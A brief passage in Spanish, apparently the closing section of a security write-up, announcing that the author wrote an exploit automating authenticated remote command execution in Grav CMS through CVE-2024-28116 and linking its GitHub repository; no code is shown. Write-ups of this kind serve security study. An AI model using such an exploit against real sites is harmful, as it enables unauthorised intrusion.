Extra: Grav CMS exploit Link to heading

Decidí crear un exploit el cual automatiza todo el proceso de ejecución remota de comandos para Grav CMS usando la vulnerabilidad CVE-2024-28116 utilizada en este WriteUp. Para obtenerla, simplemente visitar: https://github.com/gunzf0x/Grav-CMS-RCE-Authenticated.